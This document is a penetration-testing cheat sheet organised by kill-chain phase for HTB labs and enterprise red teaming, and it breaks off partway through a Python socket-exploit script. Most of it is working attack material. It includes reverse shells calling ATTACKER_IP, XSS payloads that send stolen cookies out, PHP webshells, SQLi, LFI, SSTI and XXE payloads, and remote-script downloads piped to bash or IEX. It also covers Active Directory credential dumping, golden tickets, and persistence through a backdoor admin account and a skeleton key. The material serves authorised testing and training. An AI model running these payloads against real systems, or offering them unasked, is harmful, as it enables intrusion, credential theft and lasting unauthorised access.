Pentest Blueprint
Cyber Kill Chain structured reference — HTB / enterprise / red team · parasomni
Phase 01Reconnaissance
Recon Methodology
WorkflowAlways start passive, then move active. Never skip OSINT on enterprise targets — leaked creds and subdomains change the entire attack surface.
# ── HTB / Lab ──────────────────────────────────────────
export TARGET=10.10.11.xxx
# 1. Quick top-1000 port scan → identify services
# 2. Full port scan in background
# 3. Targeted version + script scan on open ports
# 4. Web? → whatweb + add vhost to /etc/hosts
# 5. Dir fuzz, VHost enum, manual browse, robots.txt
# 6. Service-specific enum per open port
# ── Enterprise ─────────────────────────────────────────
# 1. Passive OSINT (Shodan, crt.sh, LinkedIn, GitHub)
# 2. DNS enumeration (zone transfer, brute force)
# 3. ASN / IP range discovery
# 4. Leaked credentials (HaveIBeenPwned, DeHashed)
# 5. Email harvesting → phishing / password spray
# 6. Active scanning within defined scope
OSINT
Passiveinfrastructure discovery
Shodan enterprise
shodan search "org:TargetCorp"
shodan search "hostname:target.com"
shodan search "ssl.cert.subject.cn:target.com"
certificate transparency — find subdomains
curl -s "https://crt.sh/?q=%25.target.com&output=json" | python3 -c "import sys,json;[print(e['name_value']) for e in json.load(sys.stdin)]" | sort -u
Google dorks
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com ext:php OR ext:asp OR ext:aspx
site:target.com intitle:"index of"
site:pastebin.com "target.com"
site:github.com "target.com" password
theHarvester
theHarvester -d target.com -b google,bing,linkedin,certspotter -l 500
Wayback Machine — old endpoints
curl -s "http://web.archive.org/cdx/search/cdx?url=*.target.com/*&output=text&fl=original&collapse=urlkey" | sort -u
credential intelligence
GitHub secret scanning
trufflehog github --org=TargetOrg --only-verified
gitleaks detect --source /path/to/repo
# Manual: github.com/search?q=target.com+password&type=code
DNS Recon
Passive/Activedig / dnsrecon / amass
zone transfer always try
dig axfr @$TARGET target.com
dnsrecon -d target.com -t axfr
subdomain brute force
dnsrecon -d target.com -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt
amass enum -passive -d target.com
Host Discovery
Activenmap / arp-scan
ICMP + TCP probe recommended
nmap -sn -PE -PS22,80,443,3389 10.10.11.0/24
sudo arp-scan --localnet
netdiscover — passive ARP sweep recommended
# passive listen (no packets sent, stealthy)
sudo netdiscover -p -i eth0
# active scan of a range
sudo netdiscover -r 10.10.11.0/24
# fast scan, custom range file
sudo netdiscover -i eth0 -r 10.10.11.0/24 -f -P
Port Scanning
Activenmap — quick → full → targeted
quick top-1000 start here
nmap -sV --open -oN quick.txt $TARGET
full 65535 (background)
nmap -p- --min-rate 5000 -oN full.txt $TARGET &
targeted version + scripts
nmap -p 22,80,443 -sVC -oN targeted.txt $TARGET
UDP top-200
sudo nmap -sU --top-ports 200 -oN udp.txt $TARGET
masscan — all ports loud
sudo masscan -p1-65535 $TARGET --rate=10000 -oL masscan.txt
extract port list
grep ^[0-9] full.txt | cut -d/ -f1 | tr '\n' ',' | sed 's/,$/\n/'
Web Fingerprinting
Webinitial web recon
add to /etc/hosts
echo "$TARGET box.htb" | sudo tee -a /etc/hosts
whatweb + curl always run
whatweb -v -a 3 http://$TARGET
curl -iL http://$TARGET
curl http://$TARGET/robots.txt
curl http://$TARGET/sitemap.xml
nikto
nikto -h http://$TARGET -o nikto.txt
Technology ID / CMS
WebCMS detection
WordPress / Drupal / Joomla
wpscan --url http://$TARGET --enumerate u,p,t,vp --api-token TOKEN
droopescan scan drupal -u http://$TARGET
joomscan -u http://$TARGET
version from HTML source
curl -s http://$TARGET | grep -i "generator\|version\|powered\|framework"
Phase 02Scanning & Service Enumeration
Nmap Deep Scan
Scanningversion + OS + evasion
aggressive (loud)
nmap -A -sVC -oN aggressive.txt $TARGET
firewall evasion — fragmentation
nmap -f -sS $TARGET
nmap --mtu 8 -sS $TARGET
nmap -D RND:10 $TARGET
NSE Scripts
Scriptskey script categories
nmap --script vuln -p PORT $TARGET
nmap --script http-enum,http-headers,http-methods,http-title -p 80,443 $TARGET
nmap --script smb-vuln-* -p 445 $TARGET
nmap --script ftp-anon,ftp-bounce,ftp-vsftpd-backdoor -p 21 $TARGET
nmap --script ssh-auth-methods,ssh2-enum-algos -p 22 $TARGET
ls /usr/share/nmap/scripts/ | grep keyword
Vulnerability Scanning
Scanningautomated scanners
searchsploit
searchsploit apache 2.4
searchsploit -x EXPLOIT_ID
searchsploit -m EXPLOIT_ID
nuclei enterprise
nuclei -u http://$TARGET -t cves/
nuclei -u http://$TARGET -severity critical,high
SMB Enumeration
Servicesmbclient / smbmap / enum4linux / CME
null session shares
smbclient -L //$TARGET/ -N
smbmap -H $TARGET -u anonymous
full enum recommended
enum4linux-ng -A $TARGET -oA enum4linux_out
crackmapexec smb $TARGET
connect + recursive download
smbclient //$TARGET/share -U user%pass
# inside smbclient:
recurse ON; prompt OFF; mget *
EternalBlue check
nmap --script smb-vuln-ms17-010,smb-vuln-ms08-067 -p 445 $TARGET
Responder — LLMNR/NBT-NS/mDNS Poisoning
ServicePoisons LLMNR/NBT-NS/mDNS broadcast name resolution on the local segment to capture NetNTLM hashes when Windows hosts mis-resolve a hostname. Best run passively first to confirm the traffic exists before poisoning live AD environments.
analyze mode — passive, no poisoning recommended
sudo responder -I eth0 -A
full poisoning — capture NetNTLMv2 loud
sudo responder -I eth0 -wrf
# -w start WPAD rogue proxy
# -r answer NBT-NS name suffix
# -f fingerprint OS of poisoned hosts
crack captured hashes
# hashes logged to /usr/share/responder/logs/
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
relay instead of crack — no signing enforced high impact
# 1. Disable Responder's own SMB/HTTP server in Responder.conf
# 2. Relay to targets without SMB signing:
impacket-ntlmrelayx -tf targets.txt -smb2support
# 3. Start Responder to poison + feed the relay
sudo responder -I eth0 -dP
Native Windows Discovery
Windows / LOLBinsLiving-off-the-land recon once you have a foothold — no binaries to drop, minimal EDR footprint. Run from cmd.exe / PowerShell on the compromised or attacking Windows host.
local network / interfaces recommended
ipconfig /all
arp -a
route print
netstat -ano
netsh wlan show profiles
host / network discovery
# ping sweep (no nmap needed)
for /L %i in (1,1,254) do @ping -n 1 -w 100 10.10.11.%i | findstr "Reply"
# PowerShell equivalent
1..254 | % {"10.10.11.$_"} | % {if (Test-Connection -Count 1 -Quiet $_) {$_}}
# resolve name / reverse lookup
nslookup box.htb
nbtstat -A $TARGET
domain / AD discovery recommended
whoami /all
nltest /dsgetdc:domain.local
nltest /domain_trusts
net view /domain
net group "Domain Admins" /domain
net group "Domain Computers" /domain
net accounts /domain
wmic /namespace:\\root\directory\ldap path ds_user get ds_samaccountname
shares / sessions on nearby hosts
net view \\$TARGET /all
net use \\$TARGET\IPC$ "" /u:""
net session
qwinsta
PowerShell — active hosts + open ports
Test-NetConnection -ComputerName $TARGET -Port 445
Get-NetTCPConnection -State Listen
Get-DnsClientCache
FTP
Serviceftp $TARGET # try anon:anon or anonymous:<blank>
nmap --script ftp-anon,ftp-vsftpd-backdoor -p 21 $TARGET
wget -r ftp://user:pass@$TARGET/
SSH
Servicechmod 600 id_rsa && ssh -i id_rsa user@$TARGET
ssh2john id_rsa > id_rsa.hash && john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://$TARGET -t 4
DNS
Servicedig axfr @$TARGET box.htb
dig @$TARGET box.htb ANY
dig -x $TARGET @$TARGET
dnsrecon -d box.htb -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
LDAP
Serviceldapsearch -x -H ldap://$TARGET -s base
ldapsearch -x -H ldap://$TARGET -b "DC=box,DC=htb"
ldapsearch -x -H ldap://$TARGET -D "user@box.htb" -w pass -b "DC=box,DC=htb"
SNMP
Serviceonesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt $TARGET
snmpwalk -v2c -c public $TARGET
snmp-check $TARGET -c public
snmpwalk -v2c -c public $TARGET 1.3.6.1.4.1.77.1.2.25 # users
snmpwalk -v2c -c public $TARGET 1.3.6.1.2.1.25.4.2.1.2 # processes
NFS / RPC
Serviceshowmount -e $TARGET
sudo mount -t nfs $TARGET:/export /mnt/nfs -o nolock
rpcclient -U "" $TARGET -N -c "enumdomusers"
rpcclient -U "" $TARGET -N -c "enumdomgroups"
Database Enumeration
ServiceMySQL / MSSQL / Redis / MongoDB
MySQL
mysql -u root -p -h $TARGET
nmap --script mysql-info,mysql-databases,mysql-empty-password -p 3306 $TARGET
MSSQL — xp_cmdshell
impacket-mssqlclient user:pass@$TARGET
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
Redis — RCE via config write
redis-cli -h $TARGET
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system(\$_GET['cmd']); ?>"
BGSAVE
MongoDB
mongosh --host $TARGET
show dbs; use admin; show collections; db.users.find()
Email / SMTP
Servicesmtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t $TARGET
nmap --script smtp-enum-users,smtp-commands -p 25 $TARGET
swaks --to victim@target.com --from admin@target.com --server $TARGET
Phase 03Web Application Attacks
Directory & File Fuzzing
Webffuf / gobuster
dir fuzz recommended
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -fc 404
file fuzz with extensions
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -e .php,.html,.txt,.bak,.zip,.conf -fc 404
filter by size / recursive
ffuf -u http://$TARGET/FUZZ -w WORDLIST -fc 404 -fs BASE_SIZE
ffuf -u http://$TARGET/FUZZ -w WORDLIST -recursion -recursion-depth 2
VHost & Subdomain Enum
Webffuf VHost via Host header recommended
# Get base size with invalid host first:
curl -s -I -H "Host: invalid.box.htb" http://$TARGET | grep Content-Length
ffuf -u http://$TARGET -H "Host: FUZZ.box.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs BASE_SIZE
gobuster vhost -u http://box.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
Parameter Fuzzing
Webffuf -u "http://$TARGET/page?FUZZ=value" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs BASE_SIZE
ffuf -u http://$TARGET/login -X POST -d "FUZZ=value" -H "Content-Type: application/x-www-form-urlencoded" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
# IDOR — numeric brute:
ffuf -u http://$TARGET/user?id=FUZZ -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt -mc 200
SQL Injection
Webdetection + sqlmap
manual detection payloads
' '' ` ') "))
' OR '1'='1 ' OR 1=1-- admin'--
' AND SLEEP(5)-- # time-based blind
'; WAITFOR DELAY '0:0:5'-- # MSSQL
sqlmap recommended
sqlmap -u "http://$TARGET/page?id=1" --dbs
sqlmap -u "http://$TARGET/page?id=1" -D dbname -T users --dump
sqlmap -r request.txt --level 5 --risk 3 --os-shell
UNION-based manual (MySQL)
' ORDER BY 1-- # increment until error
' UNION SELECT 1,2,3--
' UNION SELECT table_name,2,3 FROM information_schema.tables--
' UNION SELECT username,password,3 FROM users--
Cross-Site Scripting (XSS)
Webdetection payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
cookie theft
<script>document.location='http://ATTACKER_IP:8000/?c='+document.cookie</script>
<img src=x onerror="fetch('http://ATTACKER_IP:8000/?c='+btoa(document.cookie))">
dalfox
dalfox url "http://$TARGET/page?q=test"
LFI / Path Traversal
Webtraversal payloads
../../../../etc/passwd
....//....//....//etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
/etc/passwd%00 # null byte PHP <5.3
useful files to read
/etc/passwd /etc/shadow /etc/hosts
/proc/self/environ /proc/self/cmdline /proc/net/tcp
/var/log/apache2/access.log /var/log/nginx/access.log # log poisoning
~/.bash_history ~/.ssh/id_rsa /var/www/html/config.php
PHP wrappers
php://filter/convert.base64-encode/resource=/etc/passwd # source disclosure
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ # RCE
expect://id
LFI → RCE via log poisoning
# 1. Inject PHP into User-Agent:
curl -A '<?php system($_GET["cmd"]); ?>' http://$TARGET/
# 2. Include log via LFI:
http://$TARGET/page?file=../../../../var/log/apache2/access.log&cmd=id
ffuf LFI fuzz
ffuf -u "http://$TARGET/page?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -mc 200
RFI / SSRF
WebRFI — include remote shell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
python3 -m http.server 8000
# Include: http://$TARGET/page?file=http://ATTACKER_IP:8000/shell.php&cmd=id
SSRF — probe internal services
http://$TARGET/fetch?url=http://127.0.0.1/
http://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/ # AWS
http://$TARGET/fetch?url=http://localhost:6379/ # Redis
http://$TARGET/fetch?url=file:///etc/passwd
# Bypass: 0x7f000001 / 2130706433 / 127.1 / [::1]
XXE — XML External Entity
Webbasic file read
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
blind XXE — OOB exfil via DTD
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ATTACKER_IP:8000/evil.dtd">
%remote;
]>
SSTI — Server-Side Template Injection
Webdetection payloads
{{7*7}} → 49 = Jinja2 / Twig
${7*7} → 49 = Freemarker
#{7*7} → 49 = Ruby ERB
{{7*'7'}} → 7777777 = Jinja2 | 49 = Twig
Jinja2 RCE (Python)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
Twig (PHP) / Freemarker (Java)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
tplmap
tplmap -u "http://$TARGET/page?name=test" --os-cmd id
File Upload Bypass
Web# Double extension / case variation / alt extensions:
shell.php.jpg shell.PhP shell.php3 shell.phtml shell.phar
# Null byte (PHP <5.3):
shell.php%00.jpg
# Change Content-Type in Burp to image/jpeg
# Magic byte — prepend GIF header:
echo -e 'GIF89a\n<?php system($_GET["cmd"]); ?>' > shell.gif.php
# .htaccess upload (Apache):
AddType application/x-httpd-php .jpg
Authentication Bypass
Web# SQLi login bypass:
admin'-- admin'# ' OR '1'='1'--
# Default creds:
admin:admin admin:password root:root guest:guest
tomcat:s3cret admin:admin123
# Spray (rate-limit aware):
hydra -L users.txt -p Password123 http-post-form://$TARGET/login:"user=^USER^&pass=^PASS^:Invalid" -t 1 -w 30
JWT Attacks
Web# Decode:
echo "TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# jwt_tool:
jwt_tool TOKEN -C -d /usr/share/wordlists/rockyou.txt # brute secret
jwt_tool TOKEN -X k -pk public.pem # RS256→HS256 confusion
jwt_tool TOKEN -X a # none algorithm
API Testing
Web# Discover endpoints:
ffuf -u http://$TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt
curl http://$TARGET/api/swagger.json
# HTTP method fuzzing:
ffuf -u http://$TARGET/api/users -X FUZZ -w /usr/share/seclists/Fuzzing/http-request-methods.txt
# Mass assignment — add privilege fields:
curl -X POST http://$TARGET/api/register -H "Content-Type: application/json" \
-d '{"username":"hacker","password":"test","role":"admin","isAdmin":true}'
Phase 04Exploitation & Initial Access
Reverse Shells
Shellslistener
nc -lvnp 4444
rlwrap nc -lvnp 4444
socat file:`tty`,raw,echo=0 tcp-listen:4444
shell payloads
bash most reliable
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash"])'
netcat (mkfifo)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f
socat (full TTY)
socat tcp-connect:ATTACKER_IP:4444 exec:/bin/bash,pty,stderr,setsid,sigint,sane
PowerShell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write([text.encoding]::ASCII.GetBytes($r),0,$r.Length)};$c.Close()"
PHP webshell
<?php system($_GET['cmd']); ?>
msfvenom
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe
msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=4444 -f raw -o shell.php
TTY Upgrade
Shellsscript try first
script -qc /bin/bash /dev/null
python / perl / ruby
python3 -c 'import pty; pty.spawn("/bin/bash")'
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'
full PTY upgrade sequence
# 1. Background: Ctrl+Z
stty raw -echo; fg
# 2. In shell:
reset
export TERM=xterm; export SHELL=/bin/bash
stty rows 40 cols 200
Password Attacks
Credentialshashcat / john / hydra
identify hash
hashid HASH
# Common hashcat modes:
# MD5=0 SHA1=100 SHA256=1400 NTLM=1000 bcrypt=3200 sha512crypt=1800
hashcat
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
john
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
unshadow /etc/passwd /etc/shadow > combined.txt && john combined.txt
hydra — online brute
hydra -l admin -P /usr/share/wordlists/rockyou.txt $TARGET http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
hydra -L users.txt -P pass.txt ssh://$TARGET
Exploit Search
Exploitationsearchsploit product version
searchsploit -x EXPLOIT_ID # view
searchsploit -m EXPLOIT_ID # copy to cwd
# Compile:
gcc -static -o exploit exploit.c
gcc -m32 -o exploit32 exploit.c
python3 -m http.server 8000 # serve
wget http://ATTACKER_IP:8000/exploit -O /tmp/exploit && chmod +x /tmp/exploit
Metasploit
Frameworkmsfconsole -q
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS $TARGET; set LHOST ATTACKER_IP; run
sessions -l; sessions -i 1
background
use post/multi/recon/local_exploit_suggester
use post/linux/gather/hashdump
use post/windows/gather/hashdump
Phase 05Privilege Escalation
PrivEsc Workflow
Methodology# ── Linux (ordered by priority) ───────────────────────
# 1. sudo -l → GTFOBins
# 2. SUID/SGID binaries → GTFOBins
# 3. Capabilities (getcap)
# 4. Cron jobs (writable scripts? wildcards?)
# 5. World-writable files / PATH injection
# 6. Passwords in configs, history, env
# 7. Custom root daemons (read source!)
# 8. NFS no_root_squash
# 9. Docker socket / LXC group
# 10. Kernel exploits (last resort)
# ── Windows (ordered by reliability) ──────────────────
# 1. whoami /priv → token impersonation (Potato family)
# 2. AlwaysInstallElevated
# 3. Unquoted service paths / weak service perms
# 4. Writable registry autorun keys
# 5. Stored credentials (cmdkey, SAM, DPAPI)
# 6. Scheduled tasks with weak binary paths
# 7. DLL hijacking
# 8. Kernel / driver exploits
Linux Manual Enum
Linuxid && whoami && groups
uname -a && cat /etc/os-release
cat /etc/passwd | grep -v nologin | grep -v false
env; cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
cat ~/.bash_history ~/.zsh_history 2>/dev/null
ss -tulnp; ps auxf
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm /6000 -type f -ls 2>/dev/null # SUID+SGID
find / -writable -type f 2>/dev/null | grep -Ev "^/(proc|sys|dev)"
getcap -r / 2>/dev/null
Automated Enum Tools
Linuxlinpeas / lse / pspy run these first
# Attacker:
python3 -m http.server 8000
# Target:
curl http://ATTACKER_IP:8000/linpeas.sh | bash
wget http://ATTACKER_IP:8000/lse.sh -O /tmp/lse.sh && bash /tmp/lse.sh -l 2
wget http://ATTACKER_IP:8000/pspy64 -O /tmp/pspy && chmod +x /tmp/pspy && /tmp/pspy
Sudo & SUID
Linuxsudo check + quick SUID wins
sudo -l
sudo -u otheruser /bin/bash
# SUID quick wins:
find . -exec /bin/sh -p \; -quit # find
bash -p # bash SUID
vim -c ':!/bin/sh -p' # vim
python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
awk 'BEGIN {system("/bin/sh")}'
Cron Job Abuse
Linuxcat /etc/crontab; ls -la /etc/cron.* /etc/cron.d/
/tmp/pspy # monitor for UID=0 executions
# Inject into writable script:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /path/to/script.sh
# Wildcard injection (tar):
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
Linux Capabilities
Linuxgetcap -r / 2>/dev/null
# cap_setuid → instant root:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Dangerous: cap_setuid, cap_setgid, cap_dac_override, cap_sys_admin, cap_sys_ptrace
Credential Hunting
Linuxgrep -rni "password\|passwd\|secret\|token\|api_key" /var/www /etc /opt 2>/dev/null
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
cat /etc/shadow 2>/dev/null
cat ~/.bash_history ~/.mysql_history 2>/dev/null
find / -name "*.bak" -o -name "*.old" 2>/dev/null | xargs ls -la 2>/dev/null
Docker & LXC Escape
Linuxid | grep -i "docker\|lxd\|lxc"
# Docker socket abuse:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
curl --unix-socket /var/run/docker.sock http://localhost/images/json
Kernel Exploits
LinuxLast resort — kernel exploits can crash the target. Try everything else first.
uname -r; cat /proc/version
bash /tmp/les.sh # linux-exploit-suggester
# PwnKit (CVE-2021-4034, pkexec ≤ 0.120):
ls -la /usr/bin/pkexec && ./PwnKit
# DirtyPipe (CVE-2022-0847, kernel 5.8–5.16.11):
gcc -o dirtypipe exploit.c && ./dirtypipe /etc/passwd
# Node --inspect (process running as root on 9229):
ssh -L 9229:127.0.0.1:9229 user@$TARGET -N
node inspect 127.0.0.1:9229 # built-in, no ws module needed
Windows Enumeration
Windowswhoami /all; whoami /priv
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"
net user; net localgroup administrators
netstat -ano | findstr LISTEN
wmic qfe list brief /format:table
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
cmdkey /list
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Unquoted service paths:
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
Windows Token Impersonation
Windowswhoami /priv | findstr /i "impersonate\|assignprimary\|backup\|debug"
# GodPotato (SeImpersonatePrivilege):
GodPotato.exe -cmd "cmd /c whoami"
# PrintSpoofer (Server 2016/2019):
PrintSpoofer.exe -i -c cmd
# JuicyPotatoNG:
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe"
Windows Services & Registry
Windows# Weak service binary perms:
icacls "C:\Path\To\service.exe"
copy /y shell.exe "C:\Path\To\service.exe"
sc stop ServiceName && sc start ServiceName
# AlwaysInstallElevated:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi
Windows Auto Tools
Windows# Download:
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8000/winPEASx64.exe','C:\Temp\wp.exe')
# Run:
C:\Temp\winPEASx64.exe quiet
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerUp.ps1'); Invoke-AllChecks
Seatbelt.exe -group=all
evil-winrm -i $TARGET -u user -p pass
Phase 06Active Directory
AD Enumeration
Active Directorynull session + authenticated + PowerView
no creds needed
crackmapexec smb $TARGET
crackmapexec smb $TARGET -u '' -p '' --shares
enum4linux-ng -A $TARGET
rpcclient -U "" $TARGET -N -c "enumdomusers"
with credentials
crackmapexec smb $TARGET -u user -p pass --users --groups --shares
impacket-GetADUsers -all domain.htb/user:pass -dc-ip $TARGET
ldapsearch -x -H ldap://$TARGET -D "user@domain.htb" -w pass -b "DC=domain,DC=htb"
PowerView (from Windows foothold)
Get-NetDomain
Get-NetUser | select samaccountname,description,memberof
Get-NetGroup "Domain Admins" | select member
Get-NetComputer | select dnshostname,operatingsystem
Find-LocalAdminAccess # where do you have local admin?
Invoke-ACLScanner -ResolveGUIDs | where {$_.IdentityReferenceName -match "user"}
BloodHound
Active Directorycollect + key queries
# SharpHound (Windows foothold):
.\SharpHound.exe -c All
# BloodHound.py (Linux with creds):
bloodhound-python -u user -p pass -ns $TARGET -d domain.htb -c All
# Key Cypher queries:
MATCH (u:User)-[:MemberOf*1..]->(g:Group) WHERE g.name =~ "(?i).*admin.*" RETURN u.name
MATCH p=shortestPath((u:User {name:"USER@DOMAIN.HTB"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.HTB"})) RETURN p
MATCH (n) WHERE n.owned=true MATCH p=shortestPath((n)-[*1..]->(m:Group {name:"DOMAIN ADMINS@DOMAIN.HTB"})) RETURN p
Kerberos Attacks
Active DirectoryAS-REP Roasting / Kerberoasting / Pass-the-Hash / DCSync / Golden Ticket
AS-REP Roasting — no creds needed
impacket-GetNPUsers domain.htb/ -dc-ip $TARGET -no-pass -usersfile users.txt
impacket-GetNPUsers domain.htb/user:pass -dc-ip $TARGET -request
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Kerberoasting — needs valid creds
impacket-GetUserSPNs domain.htb/user:pass -dc-ip $TARGET -request
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt
Pass-the-Hash / Pass-the-Ticket
crackmapexec smb $TARGET -u Administrator -H NTLM_HASH
impacket-psexec domain.htb/Administrator@$TARGET -hashes :NTLM_HASH
impacket-getTGT domain.htb/user:pass
export KRB5CCNAME=user.ccache
impacket-psexec -k -no-pass domain.htb/user@target.domain.htb
DCSync — dump all hashes
impacket-secretsdump domain.htb/administrator:pass@$TARGET
impacket-secretsdump -just-dc-ntlm domain.htb/user@$TARGET
Golden Ticket
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.htb administrator
Lateral Movement
Active Directoryimpacket-psexec domain/user:pass@$TARGET
impacket-wmiexec domain/user:pass@$TARGET # stealthier, no service
impacket-smbexec domain/user:pass@$TARGET
evil-winrm -i $TARGET -u user -p pass
crackmapexec smb $TARGET -u user -p pass -x "whoami"
ACL Abuse
Active DirectoryGenericAll / WriteDACL / delegation
# Force password change (PowerView):
$pass = ConvertTo-SecureString "NewPass123!" -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $pass
# WriteDACL → grant DCSync:
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=htb" -PrincipalIdentity user -Rights DCSync
# Find unconstrained delegation:
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
# Rubeus — monitor TGTs on unconstrained host:
Rubeus.exe monitor /interval:5 /filteruser:DC$
AD Persistence
Active Directorynet group "Domain Admins" backdoor /add /domain
# AdminSDHolder abuse:
Add-DomainObjectAcl -TargetIdentity "AdminSDHolder" -PrincipalIdentity user -Rights All
# Skeleton key (all users login with "mimikatz"):
privilege::debug
misc::skeleton
Credential Dumping
Active Directory# Mimikatz (Windows):
privilege::debug
sekurlsa::logonpasswords # dump LSASS
lsadump::sam # local SAM hashes
lsadump::dcsync /user:krbtgt
# SAM dump (from Linux):
impacket-secretsdump domain/admin:pass@$TARGET
reg save HKLM\SAM C:\Temp\sam.hive
reg save HKLM\SYSTEM C:\Temp\system.hive
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
Phase 07Post-Exploitation
Custom Root Daemon Enumeration
Post-ShellCustom daemons running as root = intended privesc path on HTB. Read the source immediately.
find + audit
ps aux | grep root | grep -Ev "sshd|cron|systemd|kernel|kworker"
cat /usr/bin/daemon-name
find /run /tmp /var -type s 2>/dev/null # unix sockets
ss -tlnp | grep 127.0.0.1 # localhost services
ls -la /proc/$(pgrep -f daemon)/fd 2>/dev/null
# Grep for exploit patterns:
grep -n "SCM_RIGHTS\|sendmsg\|system\|popen\|shell=True\|os\.open\|inotify" /usr/bin/daemon-name
pattern → vulnerability map
| Source Pattern | Vulnerability | Exploit |
|---|---|---|
| sendmsg + SCM_RIGHTS + fd | FD leak | Connect socket, receive fd, read file |
| system() / shell=True + input | Command injection | Inject shell metacharacters |
| inotify on writable path | Trigger abuse | Write to watched path → root exec |
| world-writable socket, no auth | Unauth access | Connect, send privileged commands |
| sources writable config | Config injection | Append payload to config |
| SUID calls relative command | PATH hijack | Place binary earlier in PATH |
Unix Socket FD Leak (SCM_RIGHTS)
Post-Shellcat > /tmp/fd_leak.py << 'PYEOF'
import socket, struct, os, threading, time
SOCKET_PATH = "/run/service/mgmt.sock"
LOG_PATH = "/path/to/watched/log"
def trigger():
time.sleep(0.5)
